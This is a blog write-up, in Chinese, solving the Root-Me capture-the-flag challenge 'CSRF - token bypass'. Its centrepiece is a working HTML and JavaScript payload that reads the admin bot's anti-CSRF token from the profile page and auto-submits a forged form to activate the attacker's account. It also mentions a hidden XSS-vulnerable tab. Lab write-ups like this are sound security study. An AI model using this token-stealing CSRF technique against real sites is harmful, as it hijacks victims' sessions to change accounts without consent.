加载中...

【Root-Me】 CSRF - token bypass



这题与【Web-Client : CSRF - 0 protection】是一样的,只是多了一个 token 校验。

切到 Profile 选项卡,打开浏览器开发者工具,切到 Elements ,可以看到激活表单多了一个实时刷新的 token,而且在本地找不到关于这个 token 的生成代码,因此可以推断这个 token 是与登录账号绑定、且由 web 服务器生成的。

于是我们的目的就是需要在原本利用 robot-admin 的 Cookie 的基础上,再同时利用其 token

由此构造 payloads 如下(此 payloads 与【Web-Client : CSRF - 0 protection】大致相同,只是多了一个步骤,就是让 robot-admin 先访问 Profile 选项卡获取其 token,加到 form 表单后再提交):

<form name="csrf" action="http://challenge01.root-me.org/web-client/ch23/?action=profile" method="post" enctype="multipart/form-data">
    <input type="hidden" name="username" value="exp" />  <!-- 激活账号,根据实际修改  -->
    <input type="hidden" name="status" value="on" />  <!-- 激活动作 -->
    <input id="admin-token" type="hidden" name="token" value="" />  <!-- 网站用于防止 CSRF 的 token,需绕过 -->
</form>
<script>

    // 使用 robot-admin 的身份获取 robot-admin 的 token,用于绕过 CSRF 校验
    var request = new XMLHttpRequest();
    request.open("GET", decodeURIComponent("http://challenge01.root-me.org/web-client/ch23/?action=profile"), false);
    request.send(null);    
    var respone = request.responseText;
    var groups = respone.match("token\" value=\"(.*?)\"");
    var token = groups[1];

    document.getElementById("admin-token").value = token;    // 置换 robot-admin 的 token
    document.csrf.submit();
</script>

将 payloads 其拷贝到 Contact 选项卡的 Comment 输入框提交。

多刷新几次 Private 选项卡,等待 robot-admin 触发 payloads,最终得到 flag,完成挑战。

注:查看页面源码发现有一个隐藏的选项卡 Search 被注释了 <!--| <a href="?action=search">Search</a> -->,打开该选项卡,里面有一个 XSS 漏洞,但是暂时没发现这个漏洞对于本题有什么用(可能只是用来方便我们调试,但应该没那么好心,应该是用来误导的)。


答案下载

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录